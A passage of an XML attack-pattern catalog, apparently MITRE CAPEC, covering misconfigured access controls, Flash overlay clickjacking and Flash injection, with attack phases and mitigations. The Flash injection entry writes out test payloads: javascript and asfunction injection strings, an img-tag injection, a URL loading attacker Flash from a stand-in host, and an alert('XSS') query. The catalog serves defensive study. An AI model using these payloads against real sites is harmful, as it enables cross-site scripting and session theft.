					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>84<!--Improper Neutralization of Encoded URI Schemes in a Web Page--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>82<!--Improper Neutralization of Script in Attributes of IMG Tags in a Web Page--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>348<!--Use of Less Trusted Source--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>96<!--Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>116<!--Improper Encoding or Escaping of Output--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>184<!--Incomplete Blacklist--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>86<!--Improper Neutralization of Invalid Characters in Identifiers in Web Pages--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>350<!--Improperly Trusted Reverse DNS--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>692<!--Incomplete Blacklist to Cross-Site Scripting--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>713<!--OWASP Top Ten 2007 Category A2 - Injection Flaws--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>71<!--Apple '.DS_Store'--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>63<!--Simple Script Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>242<!--Script Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>341<!--WASC Threat Classification 2.0 - WASC-08 - Cross-Site Scripting--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Medium</Confidentiality_Impact>
				<Integrity_Impact>Medium</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Gunnar Peterson</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-28</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-09</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Name and
							Description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2009-02-10</Modification_Date>
						<Modification_Comment>Created draft content for detailed
							description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital Federal, Inc</Modifier_Organization>
						<Modification_Date>2009-04-13</Modification_Date>
						<Modification_Comment>Reviewed and revised content for detailed
							description</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="180"
			Name="Exploiting Incorrectly Configured Access Control Security Levels"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker exploits a weakness in the configuration of access controls
						and is able to bypass the intended protection that these measures guard
						against and thereby obtain unauthorized access to the system or network.
						Sensitive functionality should always be protected with access controls.
						However configuring all but the most trivial access control systems can be
						very complicated and there are many opportunities for mistakes. If an
						attacker can learn of incorrectly configured access security settings, they
						may be able to exploit this in an attack. Most commonly, attackers would
						take advantage of controls that provided too little protection for sensitive
						activities in order to perform actions that should be denied to them. In
						some circumstances, an attacker may be able to take advantage of overly
						restrictive access control policies, initiating denial of services (if an
						application locks because it unexpectedly failed to be granted access) or
						causing other legitimate actions to fail due to security. The latter class
						of attacks, however, is usually less severe and easier to detect than
						attacks based on inadequate security restrictions. This attack pattern
						differs from CAPEC 1, "Accessing Functionality Not Properly Constrained by
						ACLs" in that the latter describes attacks where sensitive functionality
						lacks access controls, where, in this pattern, the access control is
						present, but incorrectly configured.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Survey</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker surveys the target application,
												possibly as a valid and authenticated user.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Spider the web site for all available
												links.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Brute force to guess all function
												names/action with different privileges.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Access control mechanism is present in the
												system.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Positive">
												<Indicator_Description>
												<Text>Operating modes with different privileges
												are present in the system.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker gets a list of
												functionality and data that can be accessed
												through the system.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Correctly configure
												access control
												policy.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Identify weakpoints in access control
											configurations</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker probes the access control for
												functions and data identified in the Explore phase
												to identify potential weaknesses in how the access
												controls are configured.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker attempts authenticated access
												to targeted functions and data.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>The attacker attempts unauthenticated access
												to targeted functions and data.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker attempts indirect and side
												channel access to targeted functions and
												data.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Access the function or data bypassing the
											access control</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker executes the function or accesses the
												data indentified in the Explore phase bypassing the
												access control.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker executes the function or
												accesses the data not authorized to him.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Functionality is accessible to
												unauthorized users.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Configure the access
												control correctly.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target must apply access controls, but incorrectly configure them.
						However, not all incorrect configurations can be exploited by an attacker.
						If the incorrect configuration applies too little security to some
						functionality, then the attacker may be able to exploit it if the access
						control would be the only thing preventing an attacker's access and it no
						longer does so. If the incorrect configuration applies too much security, it
						must prevent legitimate activity and the attacker must be able to force
						others to require this activity..</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
				<Method_of_Attack>Brute Force</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>For example, an incorrectly configured Web server, may allow
							unauthorized access to it, thus threaten the security of the Web
							application.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>In order to discover unrestricted resources, the attacker does not
							need special tools or skills. He only has to observe the resources or
							access mechanisms invoked as each action is performed and then try and
							access those access mechanisms directly. </Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>No special resources are required for this attack.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Configure the access control correctly.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>DoS: instability</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>732<!--Incorrect Permission Assignment for Critical Resource -->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>122<!--Exploitation of Authorization-->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/122.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Title>Share Library Call Redirection Via ELF PLT
						Infection</Reference_Title>
					<Reference_Publication>Phrack Magazine, Issue 56</Reference_Publication>
					<Reference_Link>http://www.phrack.org/issues.html?issue=56&amp;id=7</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Title>OWASP Top 10 2007 – Malicious File Execution</Reference_Title>
					<Reference_Publisher>OWASP</Reference_Publisher>
					<Reference_Link>http://www.owasp.org/index.php/Top_10_2007-A3</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Modifications>
					<Modification>
						<Modifier>Min Xu</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Pre-review - 0.1</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Performed a review of content and added additional
							content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="181" Name="Flash File Overlay" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker creates a transparent overlay using flash in order to
						intercept user actions for the purpose of performing a clickjacking attack.
						In this technique, the Flash file provides a transparent overlay over HTML
						content. Because the Flash application is on top of the content, user
						actions, such as clicks, are caught by the Flash application rather than the
						underlying HTML. The action is then interpreted by the overlay to perform
						the actions the attacker wishes.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The victim must be tricked into navigating to the attacker's decoy site
						and performing the actions on the decoy page.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The victim's browser must support invisible Flash overlays.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must be able to force the Flash overlay over the decoy
					content.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>103<!--Clickjacking--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="182" Name="Flash  Injection" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker tricks a victim to execute malicious flash content that
						executes commands or makes flash calls specified by the attacker. One
						example of this attack is cross-site flashing, an attacker controlled
						parameter to a reference call loads from content specified by the
						attacker.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Find Injection Entry
											Points</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker first takes an inventory of the entry
												points of the application.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Spider the website for all available URLs
												that reference a Flash application.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>List all uninitialized global variables
												(such as _root.*, _global.*, _level0.*) in
												ActionScript, registered global variables in
												included files, load variables to external
												movies.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The application has embedded Flash
												movies.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>The application does not have embedded Flash
												movies.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of URLs which has
												embedded Flash movies and the list of global
												uninitialized global variables, load variables to
												external movies.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description> Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them). </Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Determine the application’s
											susceptibility to Flash injection:</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Determine the application’s susceptibility to
												Flash injection. For each URL identified in the
												explore phase, the attacker attempts to use various
												techniques such as direct load asfunction,
												controlled evil page/host, Flash HTML injection, and
												DOM injection to determine whether the application
												is susceptible to Flash injection.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Test the page using direct load asfunction,
												getURL,javascript:gotRoot("")///d.jpg</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Test the page using controlled evil
												page/host, http://example.com/evil.swf</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Test the page using Flash HTML injection,
												&quot;&apos;&gt;&lt;img
												src=&apos;asfunction:getURL,javascript:gotRoot(&quot;&quot;)//.jpg&apos;
												&gt;</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>Test the page using DOM injection,
												(gotRoot(&apos;&apos;))</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>Find at least one URL is
												susceptible to Flash
												injection.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>No URL is susceptible to
												injection found.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description> Perform input
												validation on both the client side and the server
												side. </Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Inject malicious content into
											target</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Inject malicious content into target utilizing
												vulnerable injection vectors identified in the
												Experiment phase</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target must be capable of running Flash applications. In some cases,
						the victim must follow an attacker-supplied link.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>In the following example, the SWF file contains
							getURL(&apos;javascript:SomeFunc(&quot;someValue&quot;)&apos;,&apos;&apos;,&apos;GET&apos;).
							A request like
							http://example.com/noundef.swf?a=0:0;alert(&apos;XSS&apos;) becomes
							javascript:SomeFunc(&quot;someValue&quot;)?a=0:0;alert(123) </Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>The attacker may need to be able to serve the injected Flash content, but
					otherwise no special resources are required.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Implementation: remove sensitive information such as user name and
						password in the SWF file.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: use validation on both client and server side.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: remove debug information.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: use SSL when loading external data</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: use crossdomain.xml file to allow the application domain
						to load stuff or the SWF file called by other domain.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
					<Consequence_Note>
						<Text>Information Leakage</Text>
					</Consequence_Note>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Accountability</Consequence_Scope>
					<Consequence_Scope>Authentication</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Scope>Non-Repudiation</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>URL, the objects in the SWF file, script in the Web browser.</Text>
			</Injection_Vector>
			<Payload>
				<Text>The crafted value injected to the URL or other objects in the SWF file.</Text>
			</Payload>
			<Activation_Zone>
				<Text>The application environment where the Flash runs.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text> The injection can allow the attacker to get sensitive information,
						escalate privilege, execute commands and cross-site scripting using Flash
						etc.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>20</CWE_ID>
					<!-- Invalid Input Validation -->
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>184</CWE_ID>
					<!-- Incomplete Blacklist -->
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697</CWE_ID>
